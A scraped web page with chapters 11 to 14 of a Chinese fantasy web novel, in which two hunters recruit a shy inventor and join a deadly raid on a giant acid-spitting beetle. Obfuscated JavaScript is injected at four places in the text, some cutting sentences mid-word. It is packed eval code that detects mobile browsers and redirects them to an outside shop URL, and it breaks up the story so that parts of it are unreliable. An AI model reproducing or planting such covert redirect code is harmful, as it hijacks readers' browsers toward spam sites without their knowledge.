“是啊,同时受到两拨人马的偷袭,不仅没死,变形后反而气势更盛了。”黄果深有同感,她说:“看样子下次动手之前,要先找人了解一些关于它的情报。” “还要再来一次吗?”游初玥一脸抗拒。 黄果笑了笑,摸了摸她的头,问:“我们离城镇还有多远?” “我瞧瞧。”游初玥掏出地图,看了看,说:“最近的城镇就在前面了,是“溪木猎人联盟”的城镇。” 地下城中,稍有实力的猎人联盟会自己开辟一块领地建造城镇。这一点,与天空塔一般无二。城镇除了作为联盟成员的休整地,也有商业性质的房屋出租、餐饮、医疗等等业务向一般猎人开放。一年下来,城镇给联盟创造的收入相当可观,即使是前三的大型猎人联盟,这也是活动资金来源的重要组成部分。 “溪木”算是中等偏上的猎人联盟,城镇里的房屋普遍不高,最高不过三层。不过可以明显看得出房屋用料讲究,街道上也比较整洁。 郑津梁的店铺在城镇边缘不起眼的角落里,由于没什么人知道,找到这里花了黄果和游初玥一点时间。 “减震器?”郑津梁一头自来卷,黑黑瘦瘦的。不过五官倒是无可挑剔,刀刻斧凿一般,深邃又立体。他看起来有些冷漠,谈话的全程低头摆弄他手里的奇怪物件,只在最开始两人进入店里是看了二人一眼。 “难怪没生意。”游初玥附到黄果耳边小声嘀咕道。 两人刚来时,连现在屁股下坐着的这两根椅子都铺满了灰,不知已经闲置了多久。 “老实说,我没什么兴趣。”郑津梁直截了当地说。他将手中的玩意递到二人面前,眼睑低垂着,说:“我现在正在研究这个,不用睁眼也能打蚊子的神器。它能通过声音来定位蚊子的位置,然后自动发射灭杀蚊子的能量。” 黄果刚伸手,郑津梁又把手缩了回去,他自言自语地说:“算了,跟你们说了,你们也不懂。” 叮铃铃——店铺的角落传来急促的铃音。郑津梁猛地抬起头,看向角落的时钟,大声喊道:“糟了糟了,都这个时间点了。” 郑津梁蹿进店铺的里间,拿了一个大衣和手提箱出来。依旧是喃喃自语:“今天的拍卖会可不能错过,一定要拍到那个魔核,一定要拍到那个魔核。” 没有和黄果她们说明,也没有要驱赶二人的意思。郑津梁就这样自顾自地走向大门。 “喂!”游初玥扭着身子趴在的靠背上,向着郑津梁的背影喊道:“你就这么走了吗?” “嗯……”看得出郑津梁很纠结,最后他憋出一句话:“拍卖会快开始了,要一起吗?” 看着他红透了的耳根,黄果知道了,这家伙根本不是冷漠,是太过腼腆了。 * “溪木”城镇的中心,露天广场。 广场四周的阶梯上坐满了人,黄果和游初玥也在其中。 “来的人可真不少。”游初玥感叹,她突然摇了摇黄果的手臂,低声说:“你看,那四个人也在。” 黄果顺着游初玥所指的方向看去,捕猎二型鸟时遇到的四人组就坐在广场另一边中部的阶梯上。莫西干头过于惹眼,在人群中一眼就能辨认出来。 “说起来她们之前也提到了拍卖会,这个拍卖会是什么性质的?” “简单来说就是猎人之间以物换物的大会。”游初玥说明道:“有猎人在这里交换魔核,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“今天开了个好头。”老人乐呵呵地说:“请这位朋友拍卖会结束后带着卡片和应允的财物,到我们后台来提取武器。” 第二张卡片飞向空中。 “哦?”老人似乎也有些意外,“居然是一颗二形鹊魔核,不过可惜有些残缺。这颗魔核的主人想要交换的是12层xx的牙,10层xx的羽毛,15层xx以及xx的魔核,还有16层xx的魔核。” 人群立刻骚动起来。 “我有!”举手的人就在黄果的不远处。 “我愿意再加五百金币。” “六百!” 场中转瞬之间变成了竞价的情形。 “八百,另加13层xx的魔核两颗。”一个蒙着面纱的女人举起了手,看气势是要一举将二形鹊的魔核拿下。是时也正如她所期望的那样,没有人再继续出价了。 “这东西居然这么值钱。”黄果对这些魔兽一无所知,根本不懂老人说的到底是哪一种夜魔。她只听明白了一件事,即使是残缺的二形鹊魔核也可以换很多的东西。 接着第三枚、第四枚卡片……物品一件件依次呈现,有的受人追捧,有的无人问津。郑津梁牢牢抱着他的手提箱,迟迟没有出手。 “第24件。”老人看着空中的影像,继续播报:“16层南部溶洞回音蝙蝠的魔核。魔核的主人想要交换的是B级品质的雷系法士法杖。” 郑津梁终于举起了手。“我,”郑津梁清了清嗓子,说:“我没有琴,我愿意出金币,2321。” “这不是那个做玩具的郑津梁吗?”人群里响起了议论的声音。 “这是家底尽出了。” “这次又要做什么样的玩具?” 空中的卡片迟迟没有亮起金色的光芒,慢慢悠悠地落下回到了老人的手中。 “很遗憾。”老人说。没有多余的言语,老人立刻抛出了下一枚卡片。 郑津梁悻悻地坐下,眼神变得空洞。良久,郑津梁起身,离开了拍卖场。 黄果与游初玥慢步跟了上去。 三人的身后,拍卖会还在继续,猎人们热情高涨。 “第32件。这是一件牧师用幻形耳环,可以变换四种乐器,用独有的虚影工艺将武器对使用者的影响降至新低,经测验强度评级达到B+,综合评级能够给到A。”老人依旧有条不紊地介绍着,“唯一的缺点是乐器切换有固定的顺序,对牧师的能力水平要求较高。这件耳环的主人要求很简单直接,两万金币。” 黄果回过头看了一眼那对耳环的影像。 “怎么了?”游初玥问。 两万金币,对现在的她们而言太过遥远了。 12. 第 12 章 郑津梁放下手提箱,抱着头蜷缩进了椅子里。 “他哭了吗?”游初玥拉了拉黄果的衣角问道。二人一路跟着郑津梁,从拍卖场回到了他的店铺里。 黄果耸耸肩,坐回到了下午坐过一次的椅子中。她打算等郑津梁冷静下来,再和他谈谈减震器,还有回音蝙蝠的事。 游初玥在屋子里走来走去,最后停在郑津梁的旁边,扯了扯他的袖口,说:“你已经很厉害啦,有这么多钱。你看看我们,我和我的朋友们,三个人加起来都拿不出这么多来。” 郑津梁抬起头,声音已经没了精神气。“你们还在。” “还在啊。”游初玥答道:“不就是没拍到那个什么蝙蝠吗,下次再拍嘛。” “你们没有去处吗?”郑津梁看了看游初玥,又看了看黄果,“没有去处的话你们可以在我屋里住一晚,我一个人呆在这里就好。” 话说完,郑津梁又蜷了起来。 “那个能打蚊子的球,能不能做出来,对你来说这么重要吗?”游初玥不理解。古拉每个匠人都在研究什么样的武器能让人变得更强,这个叫做郑津梁的人却在坚持研究一些不明所以的玩具。 “声波发射出去,遇到障碍物后返回。回声返回的时间越快,说明障碍物离得越近。回声越强,说明物体就越大、越坚硬。”黄果看着蜷缩在椅子里的郑津梁,掷地有声地说:“你不是在做玩具,你是在设法验证自己的理论。抬起头来,郑津梁,我可以在此断言,你将会引导武器革命的浪潮,你将会成为绝无仅有的古拉匠人。” 郑津梁抬起头,这次他看见的是舒展翅膀的独翼天使。每一片羽毛,甚至黄果的每一根发丝,都散发着圣洁的光芒。 “你知道回声。”他的声音颤抖着。 “我不仅懂得回声。我还知道根据回声频率的改变,可以判断物体与声源之间的相对速度;根据回声到达左右耳时间的差距,可以定位对方的水平方位。” “频率,那是什么?”郑津梁的眼中失落与失望已经了无踪迹,取而代之的,是崇敬与无尽的求知欲。 “我们合作吧,郑津梁。回音蝙蝠,我可以替你狩猎。频率,我也可以教给你。”黄果伸出手,“我们的队伍,需要你这样站在时代浪潮前端的匠人。” * 天才蒙蒙亮,敲门声就把郑津梁从睡梦中惊醒。 “来了。” 门外站着一个衣着质朴的男人。男人手里紧紧攥着一个绒面的方盒子,表情看上去像是下了某种很大的决心。“听说这里有两位来自天空塔的猎人,无论什么捕猎的委托都能够顺利完成。”男人尽量让自己表现得沉稳:“我有想要拜托两位猎人的事。” 郑津梁回头看向屋里空着的两把座椅。座椅被擦拭地干干净净,甚至能够反射一些从大门透露进去的清晨微光。 那之后,已经过了一个月了啊。郑津梁只觉恍如隔世,不禁在心中暗自感叹。 与此同时,数十里外的草原上。这里远离城镇,接近16层的出入口。地下城的猎人们仍在睡梦之中,草原上没有一个人影。风牵动绿草发出沙沙声,河水流淌响动的哗啦声,成了此间唯二的声响。不多久,马蹄声打破了河流与草原宁静的二重奏。草原天空相接的地平线上,两个纤细的身影御马而来。一人是迎风招展的金色公主切,那金色璀璨于太阳;一人是清爽利落的黑色高马尾,那黑色深邃过夜空。 “听说天空塔的几大联盟已经发现了60层守禁夜魔的踪迹,今天就要集结力量对禁地发起冲击,我们现在过去不知道赶不赶得及。”公主切女子摆动缰绳,催促马儿前进。她的右手上,戴着别致的饰品,细软的灰色丝线缠绕手指与手腕,丝线上还点缀着银白色亮片。亮片与亮片随着女子的动作相互碰撞,但却意外地没有发出哪怕是一丁点儿声响。 “勉勉强强吧。好在我们出发得早,出入口就在不远处了。”高马尾女子耳边都是风声,她大声地回应着伙伴的疑问。她的左手上同样戴着别样的饰品,三个手环和五个戒指,色彩上都是银色偏黑。一只手穿戴了这样的数量的饰品,即使对爱打扮的姑娘来说也过于多了,更奇特的是,手环与手环、手环与戒指之间还有锁链般的丝线连着,这些手环与戒指不是各自独立的饰品,而是作为一个整体存在。 “你看!”公主切女子突然说:“是二形鹊!” 二形鹊受到马蹄声的惊扰,飞速地掠向空中。 高马尾女子抬起左手指向天空,说:“还记得二形鹊的要注意什么吗?” “一定要一举击碎脑部的魔核,否则就会重生。”公主切女子对答如流,“真是强人所难啊,飞这么快,脑袋这么小。” “拜托你了。” 公主切女子开始摇晃右手,银白色的亮片在她的手背舞动,发出悦耳的玎玲声。 “砰。”高马尾女子还是习惯性地喊出声,手上的戒指碎掉了一个。 二形鹊还在奋力扇动翅膀,试图远离二人。而草原上的两人牵住缰绳,马儿停下时,二形鹊也刚好直直地从天空落下。 话分两头。郑津梁把目光从屋内收回,重新看向面前的男人,说:“她们今天大概不会来了。” * 黄果和游初玥抱着很大的一束鲜花来接曹宽出院。 “总感觉我错过了什么了不得的事。”曹宽打趣道。 “初玥和我可是做了很多了不起的事哦,快打起精神来,我们的好战友。”黄果微笑着将花束塞到曹宽的怀里。 曹宽看着花朵,说:“是啊,我要加倍努力,把这一个月补回来才行。” “诶,”游初玥凑过去,拖长了声音说:“你该不会是怪我们这一个月没来看你吧?” 曹宽本没有往那个方向去想,游初玥这一说,他不知怎的却心虚起来。“没有,我可没说。” “真的?”游初玥很调皮地斜着眼:“我怎么感觉,某位来自安彻迪亚天使之城扑拉菲尔斯大天使可淼座下直属警备部队的预备队长先生,想要向女孩子撒娇呢?” “胡说。”曹宽急得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482458|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红了脸,“男子汉大丈夫,不过是受点小伤住了一个月的院,有什么好撒娇。” “哦。”游初玥绕着曹宽转了一圈:“那就是再严重一点就可以撒娇咯。” “好了,不要作弄他了。”黄果微笑着看向活力十足的二人,同游初玥说:“把新买的防具给曹宽吧。” “这可是C级的防具,虽然不是很好的,但比起我们以前的已经好得多了。”游初玥将衣物递过去,道:“喏,快换上。” 曹宽的脑袋被“撒娇”的话题搅得乱七八糟,还在想要怎么替自己辩驳。他看着新的衣物,问:“现在换上吗?” “出行前的誓师大会已经开始了。”黄果看着窗外,道:“我们赶不到广场了,就在这里看看吧。” 远处,天空塔前的广场中,猎人们已经自发排成了整齐的队列。队列中有衣着统一的各联盟成员,也有明显是和黄果们一样是以个人身份注册的猎人。 队列的正前方,站着两男一女,他们就是如今天空塔最富盛名的前三猎人联盟的盟首。在攻略天空塔的时间里,黄果多多少少也听过这三人的名号,不过人倒是第一次见。 那个身着银色盔甲,身形瞧上去要比其他人的要大上两倍不止的男人,人称“银色要塞”,是绝对少见的盾阶天使;左边,穿着纱衣手臂与大腿上描画着奇异绿色符文的,人称“秩序天平”,是三位盟首中唯一一位人类;右边的女人,带着面纱不见其真容,即使长裙也遮不住其婀娜的身段,人称“深海少女”,据传是战士法士双阶天使。 “啊,那家伙。”游初玥指着那位深海少女道:“是拍卖会上那个有钱的女人。” “哪个女人?” “买了二形鹊那个女人。” 游初玥这一说,黄果立刻记起来了。初到地下城时二人参加的第一场拍卖会,就是这位盟长用高价压得会场众人抬不起头,一举拿下了二形鹊的魔核。 “这位女盟首很少露面,没想到这次也来了。” 黄果还想问游初玥对这位神秘的盟首了解多少,却听得游初玥一声惊叫。 “你干嘛!” 黄果转过头,曹宽已经解开了上衣的两颗扣子。游初玥一把将曹宽推到一边,道:“去去去,厕所换去。你还在我俩面前耍上流氓了。” 曹宽这时也是一个激灵,大脑恢复运转,逃也似地抱着衣服钻到厕所里去了。 游初玥红着脸,抓着窗框强装镇定看向天空塔的方向。 “我盟的搜寻小队已经探明守禁夜魔‘六翼隐翅虫’的藏匿地,在60层西部溶洞深处。”深海少女不急不缓地说:“根据天空塔情报书,此物□□剧毒,有多达四颗魔核,如若不能同时击破,便不死不灭。” “诸君,请助我等一臂之力,共斩隐翅虫。”银色要塞握拳,将手高举过顶,高声喊道:“为了古拉!为了古拉的王李维!” “为了古拉!为了李维!”猎人们振臂高呼。 对黄果和游初玥来说,她们的第一次讨伐战就此开幕了。 13. 第 13 章 黄果三人赶在最后和征讨队成功汇合。成熟猎人联盟成体系化的推进模式快速而高效,在前往溶洞的路上一路平推,根本用不着黄果她们这种猎人出手。 “你们说参加60层讨伐战。我先前还担心来不了,毕竟我们之前只点亮了46层的传送晶石,按理说不该能直接到60层才对。” “这次上来用的是大型联盟才有的‘自定点传送石’,多亏了初玥给我们报名参加了征讨队,我们才蹭上来了。初玥来回跑了几趟,费了不少功夫呢。” “还好啦,就是把我们在地下层狩猎的证明送过去,联盟那边就审核通过了。” “对了,”黄果想起了什么,小声地问道:“他们适才喊的那个李维,是什么来头?” “是古拉的上一代的王,也就是和你提到过曾经登顶天空塔的那位天使。虽然人至今下落不明,但他已经成为了天空塔猎人们的精神领袖了。” “大家保持警戒,现在开始进入溶洞。”前方的部队传来了喊话声。 队伍中的众人都纷纷握住了自己的武器,随时准备投入战斗。然而奇怪的是,进入溶洞后遇到的阻碍反而变小,队伍的进度更快了些。 在溶洞行进了一段距离以后,队伍中有人低声说道:“喂,好像不对啊。我们好像一直在同一个地点来回转圈。” “怎么会?”另一人搭腔道:“这洞里的钟乳石长得大差不差,你产生错觉了吧。” 然而事实是,在先头部队的三位盟首也察觉到了异样。 “祝良盟首、魏知弦天使,你们怎么想,是不是要在这里分兵。”银色要塞柳惊鸿正向他的两位战友征求意见。 “的确不宜在此地耗太久,分兵求取其他的可能性也不失为一种办法。” “我不赞成。”魏知弦反对道:“这种封闭的空间内分兵是大忌,弄不好会被敌人逐个击破。祝良盟首,这次夜魔的机制特殊,如果单独碰上了你是没有有效的防御手段的。” 三人还未讨论出结果,夜魔替他们做出了选择。 溶洞中,地形突变,整个洞窟仿若活过来了一般,扭曲、形变。整个洞窟不断形变,钟乳石成了最锋利的长枪,以极快的速度生长,直直刺向猎人。 洞顶的钟乳石闪电般疾奔向游初玥,幸而黄果反应及时,一个箭步上前将游初玥扑倒,二人才勉强躲过了这突如其来的攻击。回过头再看时,钟乳石已经伸长到了洞穴的另一侧,钟乳石的端部,还挂着适才刺穿的黄果的背包。 游初玥惊魂未定,下意识地说:“你的背包,戒指还在里面。” “没关系,”黄果握住她的手,帮助她恢复镇定,“人没事就好。” 再看看身边,不少的猎人直接被突袭而来的钟乳石刺穿了,即刻毙命。 洞窟中的变化还在继续。有的地块上升,有的地块下落,原本是石壁的位置开出了洞口,是道路的地方变作了深坑。旧的通道不断封闭,新的通道又不停生成。疲于奔命猎人们没有判断的时间,稍有迟疑就会被追过来钟乳石扎成刺猬,他们只得不停地冲进新的通道。 很快,整只队伍被分割,变得七零八落。 黄果三人最后落到一个黄白色的、完全封闭的洞穴之中。和她们一起的,有那位蒙着面纱的盟首魏知弦,还有一些联盟猎人以及个人猎人。在场的猎人都受了程度不一的伤,轻则擦伤,重者有断了手脚的。 尽管完全看不到洞穴的出入口,可是却能听见洞穴外不断传来凄厉的哀嚎。 “不要慌张,”魏知弦用在场所有人能听见的声音说道:“牧师先给伤员止血,其余人员戒备,不要轻举妄动。我来想办法带你们离开这里。” 话音未落,一个使用拳套的猎人叫喊叫着冲向墙壁。 “等一下!”魏知弦已经来不及阻止了。 “我的妻子还在外面,我不能在这里浪费时间了。”对他而言,每一声惨叫,都是扎向他心口的尖刀。猎人用尽全力向着洞穴的石壁挥拳,企图开辟出一条全新的通道。 下一刻,众人亲眼见证了猎人生命的终结。黄色的液体从石壁上喷涌而出,包裹住了猎人,猎人的浑身散发出灼烧的白烟,皮肤与肌肉转瞬之间溶解殆尽,留在原地的只剩一举阴森的白骨。他甚至来不及发出痛苦的呼喊。 “不要靠近墙壁!”黄果最先反应过来,洞穴的黄白色并非溶洞自身天然形成的色彩,“墙壁上的那些,是隐翅虫的虫卵。” 也许是受到了那位猎人的刺激,在猎人倒下位置的附近,隐翅虫开始孵化。一只隐翅虫孵化,旁边的卵也响应似的完成了孵化,这股势头逐渐扩散了整个洞窟。 “啊!”撕心裂肺的哭喊响起。最先一批孵化的隐翅虫已经在猎人们迟疑的时间发起了进攻,那些隐翅虫无声地飞行,在猎人的头顶完成自杀式爆裂。猎人半边脸被隐翅虫的□□溶解,露出皮肤与肌肉下的白骨,变成了可怖的人不人鬼不鬼的模样。很快,他的大脑也被溶解,生命与精神被抽离,变成了一副空壳。 越来越多的隐翅虫完成了孵化,它们如蝗虫过境,黑压压地冲向洞窟底部的众人。 “怎么会这样,情报书上没有提到过这样的事情。”一位牧师停下了手中治疗伤员的动作,因为她觉得已经没有意义了,无论做什么接下来迎接她们的都只有死亡。 不断缩小的空间、战友的哀鸣、肌肉烧焦的气味,这一切的一切压得人喘不过气,一部分猎人已然崩溃,瘫倒在地发出了绝望的哭嚎。 洞穴的底部一股淡蓝色的清流出现,将幸存的人们都聚集在了一起。是魏知弦。 “不要放弃。”魏知弦道:“你们不一直都是这么战斗过来的吗?” 隐翅虫爆裂,黄色的酸液如倾盆大雨般落下。魏知弦挥手筑出一道水流的屏障,那些腐蚀性的液体溶入屏障中。可是好景不长,隐翅虫一波又一波的爆裂,随着溶入水中的酸盐数量剧增,魏知弦构建的屏障逐渐变了颜色,像是煮沸的水那样躁动起来。 “如此大规模、有序的进攻动作,母虫一定就在附近。”黄果看向游初玥。 “让我听听。如果是母虫的话,你一定有足够大的魔核吧。”游初玥心领神会,闭上双眼,晃动左手手链。 魏知弦只一眼就明白了二人的意图,她说:“猎人,需要多久?我会尽量为你们争取时间。” 顶上的屏障终于崩溃,黄色的“雨”、吃人的“雨”重重砸下。魏知弦没有继续增加屏障,反而用水流筑成高台,将众人托向高处,托向了距离“雨”更近的地方。魏知弦看着头顶降下的死亡雨幕,捏碎了手中的魔核。一道黑色的弧形巨伞凭空生成,“雨水”竟无法穿透那把巨伞,只能顺着那伞的边缘流下,汇聚到洞穴的地步。 “这个变形能力和颜色,是二形鹊。”黄果恍然,原来这就是魏知弦当初不惜代价也要拍下二形鹊魔核的原因。 “可恶,”魏知弦自嘲地说道:“本想用来对付六翼隐翅虫,没想到被畜牲算计了,提前用在了这里。” “在那儿!”游初玥睁开眼,指向了空无一物的石壁。 就在游初玥指定方位的同时,黄果没有丝毫的犹豫。一枚戒指破裂,子弹已经发射出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“多谢了,祝盟首。”曹宽笑着回应道,“不过客套的话,还是等到解决了这些畜牲再说吧。” 众人身后的甬道中,这时也传来了纷乱的脚步声。“盟首,是夜魔。跟在我们后面的夜魔已经追上来了。” “这时间,溶洞中的夜魔恐怕都在向这里汇聚吧。”说完,祝良的目光转向游初玥,问道:“姑娘,你能够追踪到隐翅虫的位置?” “可以。”游初玥肯定地答复道:“只要能够突围,我就可以带着大家找到母虫。” “很好。战士、法士和牧师,你们是很标准的一支小队。”祝良的手中出现一道天秤的虚影,他对曹宽说:“战士,节省你的力量,你们的战场不在这里。” 天秤升到半空,祝良口中念念有词。 “平等、公正;重置、归零;神权、禁止。” 曹宽手中的巨剑消散,黄果也感知不到自己左手的力量。某种东西抑制了这片空间中所有的力量。 祝良抽出腰间的长刀,高声喊道:“战士们,这是属于你们的猎场。我们一直是这样战斗的,从茹毛饮血的时代开始就是如此,让它们见识一下人类的生存之道。” 在冲过黄果三人身旁时,祝良激昂地说:“枪之猎人,跟在我的身后!我将为你开辟出前行的道路。” 那些夜魔同样失去了力量。正如祝良所言,这的确是最初始时人类与野兽的战斗,没有光怪陆离的力量,只有刀剑、利爪和牙齿。 14. 第 14 章 黄果三人成功穿越夜魔向着更深处进发,而祝良和他勇武的士兵们留在必经之路上阻截后方的追兵。 “专心,初玥。”黄果看出游初玥有些分神,出言提醒道。“那些猎人不会有事,虽然不知道祝良用那个天秤做了什么,但只要在范围内,无论是天使还是夜魔,都没办法使用自己的力量。没有了力量,就算是二形鹊,也不过是只毫无威胁的小鸟罢了。” 这倒不是安慰游初玥的话语。类似二形鹊这种体型小的夜魔暂且不说,就是那些体型与人类体型相当的夜魔,或许是长时间生活在洞中的缘故,大多看上去都比较羸弱。与之相反,祝良和他的战士们则有着强健的体魄,黄果确信他们能赢下来。 唯一麻烦的一点就是夜魔数量过多,这也致使祝良不得不留在那儿。作为黄果三人的防线,留在那儿。 继续向着深处进发,走出一段路之后,三人意外地听见了前方有碰撞的声响。 黄果、曹宽看向游初玥,回应她们的是游初玥肯定的目光。 “有人正和母虫战斗。”游初玥说。 三人加快了前进的速度。 * 溶洞的尽头。一个人影与巨大的隐翅虫对撞,双方都被震退到洞窟的边缘。地面上,有两对被切断的透明翅膀。隐翅虫长大概12米,身宽3米,高度约略在5米。作为它对手的那个人类,身形绝对算得上魁伟,但那也是仅限于人类的范畴,和隐翅虫比起来,他还是太过瘦小。 可是正是这样的一个人,刚才在黄果等人的面前和隐翅虫上演了势均力敌的对抗。 银色要塞柳惊鸿,此人不负其名。顾不得自身的损伤,柳惊鸿再度向前迎上隐翅虫。他的身后有众多受伤的猎人,这只小队已经鏖战许久。 柳惊鸿咬紧牙关与隐翅虫对撼。这时隐翅虫忽然失去了平衡,柳惊鸿敏锐地捕捉到了这一珍贵的战机,他闪身来到隐翅虫瞎掉的那一侧,一拳回去,将隐翅虫半个头盖打碎,暴露了隐翅虫头部的魔核。 隐翅虫嚎叫着向后翻滚,重重摔到石壁上。 柳惊鸿看见了前方手握大剑的身影。正是曹宽刚才斩去了隐翅虫的一足,给柳惊鸿创造了不可多得的机会。 “我来治疗。”游初玥立刻跑到了柳惊鸿的后方。 柳惊鸿看着黄果和曹宽的站位,大概也明白了各自在小队中担当的角色。 “抱歉,我们来迟了。” “不,你们来得刚好。”柳惊鸿说,“这家伙需要斩断全部六只翅膀才会暴露最后一颗魔核,我和我的战士们已经斩除了其中四只,还差两只。战士们已经拼尽全力,你们来得刚好。” 隐翅虫已经重新摆出了进攻的驾驶,发出阵阵尖锐、刺耳的声音,释放自己的愤怒。 “也就是说,把这畜牲的最后一对翅膀逼出来就行了吧。” “是的。” “我会击破它的核心。”黄果站在后方,一字一顿地说:“放手去做吧。” 柳惊鸿大步向前,与曹宽击掌,身上的绿盾也过渡给了曹宽。两人保持着半个身位的距离,柳惊鸿在前,曹宽在后,向着怒吼的夜魔发起最后的冲击。 “大剑天使,让我们全力以赴吧。”柳惊鸿终于可以不再有任何顾忌地战斗,就和那些倒下的战士相信他一样,他也相信自己此刻的战友。他不用再有所保留,只需要全力以赴与夜魔进行搏杀,直至它漏出破绽。 柳惊鸿与夜魔对撞,即使是如此巨大的隐翅虫,每一次碰撞后身躯都会有半秒的迟滞。这个时候曹宽就会适时地入场,用大剑切割隐翅虫的躯体,在它的身躯上留下火焰灼烧的痕迹。 对撞、切割。对撞、切割。 隐翅虫终于变得血肉模糊。它引以为傲的,几乎可以溶解一切的酸液,却无法突破柳惊鸿与曹宽身上覆盖的绿色盾光。 它发出惊遽的尖叫,或许其中也有几分愤怒。 遍布全身的灼烧的刺痛,被人类打得节节败退的屈辱,让它忍无可忍。它张开巨口,企图吞下那个一直纠缠着它,斩断了它两对翅膀的男人。 可是下一刻它发现自己无法咬合,也无法行动了。那个男人的手竟然嵌入了它的牙齿。 那个男人“抓住”了它。 曹宽一跃而起,大剑插入隐翅虫的头部中央。他双手握着大剑,向着隐翅虫的尾部奔跑。血液与酸液,混合着喷涌而出。 如果不是隐翅虫的躯体在扭动,与那喷薄而出的液体构成了格外瘆人的画面不断刺激着黄果的大脑,她都恍惚要把那认作了某处的喷泉演出。 隐翅虫暴虐地扭动着,浑身上下滋出浑浊不堪的液体,它扯断了自己的牙齿从柳惊鸿手下脱身,它甩掉尾部的曹宽。它终于按捺不住,打开后背的壳,伸出了最后一对翅膀。它一面升空,一面喷射酸液,企图延缓猎人们的行动。 隐翅虫发出呜呜的哀鸣。 “它想跑。”柳惊鸿扎出马步,双手交叠放到了头顶,身上的绿光也几乎都聚集了过去。 曹宽从地面捡起大剑,两次飞跃踩到了柳惊鸿的掌心上。 柳惊鸿呐喊着,用尽全部力量将曹宽推向高空,笼罩着柳惊鸿自己的护盾也在此刻消失殆尽。 曹宽带着最后的绿盾,穿越隐翅虫喷洒出的酸液,同样来到了它失去了眼睛的一侧。灰烬在空中汇聚成与隐翅虫一般大小的巨人半身,冒着火光的巨人,伴着柳惊鸿与曹宽的呐喊,挥动手中的巨剑,将隐翅虫斩做两半。 同时斩落的,还有隐翅虫最后一对翅膀。隐翅虫坠落,酸液如海啸般从伤口涌出。 黄果捏碎了二形鹊的魔核,在众人的头顶张开黑色屏障。 该射出什么样的子弹才万无一失?手枪吗,还是猎枪?不,两者都不是。应该是反器材步枪,她应该射出反器材步枪的子弹。 “初玥!” 游初玥摇晃手链,黄果左手的三枚戒指应声破碎。还有一枪,需要她自己来校准。 黄果看着隐翅虫头部裸露的那颗魔核,射出了最后一枪。强大的反冲力随之而来,她的左手不受控制地将她扯向后方,整个人在空中旋转着飞向洞窟边缘。 游初玥接住了她。在黄果飞行的轨迹上,游初玥出现在那里,紧紧抱住了飞过来的黄果,两个人一起,摔进了石壁的洞口中。 “盟首。”一个猎人一瘸一拐跑到柳惊鸿的身边,抱起脱力的柳惊鸿逃向洞穴的高处。 隐翅虫的酸液在洞窟的底部聚成了湖泊。 天空中,一位不知名的猎人,接住了已经失去意识向下坠落的曹宽。 落在地面的通讯器这时闪起了灯。 清脆的嘟声过后,扬声器响起了标准的播音腔。“天空塔攻略台消息,天空塔攻略台消息!61层的入口已经打开。确认,61层的入口已经打开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482460|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸存的猎人们哭泣、相拥。 * “辛苦你了,不过总算是顺利来到了这里。” 黄果睁开眼,半翼的天使站在她的面前,向她伸出了右手。 “接下来,我会给你指引,请继续前进吧。”天使微笑着说:“我会在终点等你。” * 天空塔外,背着弓箭的女人抬头看着路边绑在大树上喇叭。就在刚刚,喇叭里播报了天空塔开启61层的消息。 “停滞许久的天空塔,终于有了变化啊。”女人的身边的光头男人感叹道。 “喂,喂,老大我们在这里。”远处,高马尾的女人兴高采烈地挥舞着自己的手臂。和她站在一起的,是一个莫西干头男人。 “要回去看看吗?”光头的男人问。 “走吧。”背着弓箭的女人说:“我们在地下城还有更重要的事情。” * 赛斯特猎人工会医院。 自讨伐隐翅虫已经过去一周,黄果又回到了医院,不过这次在病床上的不是曹宽而是黄果自己。 左手粉碎性骨折,需要静养。这是医生给出的诊断。 “听曹宽说,很多联盟找了过来?” 60层讨伐结束后,三人在与隐翅虫战斗中的活跃表现很快传到了各大联盟的耳朵里。游初玥作为三人小队的实际注册人,很多联盟的说客自然而然地找上了她,希望她加入己方的势力。就算三人一早就商定好了,为了避免不必要的麻烦不会加入任何联盟,单单只是设法应对和拒绝这些络绎不绝的说客也是一桩麻烦事。 “应付她们比攻略天空塔麻烦多了,所以我今天把她们都推给曹宽了。”游初玥抱怨道。她把最后一口粥吹凉了,送到黄果的嘴边,问:“我听说曹宽说,魏知弦和柳惊鸿都来找你了?” “嗯。”黄果想了想,说:“昨天,还是前天来了一趟,前后脚的事。” “你怎么拒绝的?” 这些天柳惊鸿、魏知弦都来过了,虽然说法不一,但最终目的都是想要拉拢黄果三人加入自己的联盟。倒是祝良没有来过,听说他的联盟只会招收普通人。 “拒绝了直接加入联盟,不过还是保留了合作的可能性。她们那种体系化的战斗方式,我认为还是很有效的,成为彼此的助力也是不错的选择。” “的确,和他们在一起轻松许多。” 本来还想问问祝良是否找过游初玥,但是黄果想起了一件更为重要的事。“初玥,你那天就在我身边,真的没有看见天使吗?” 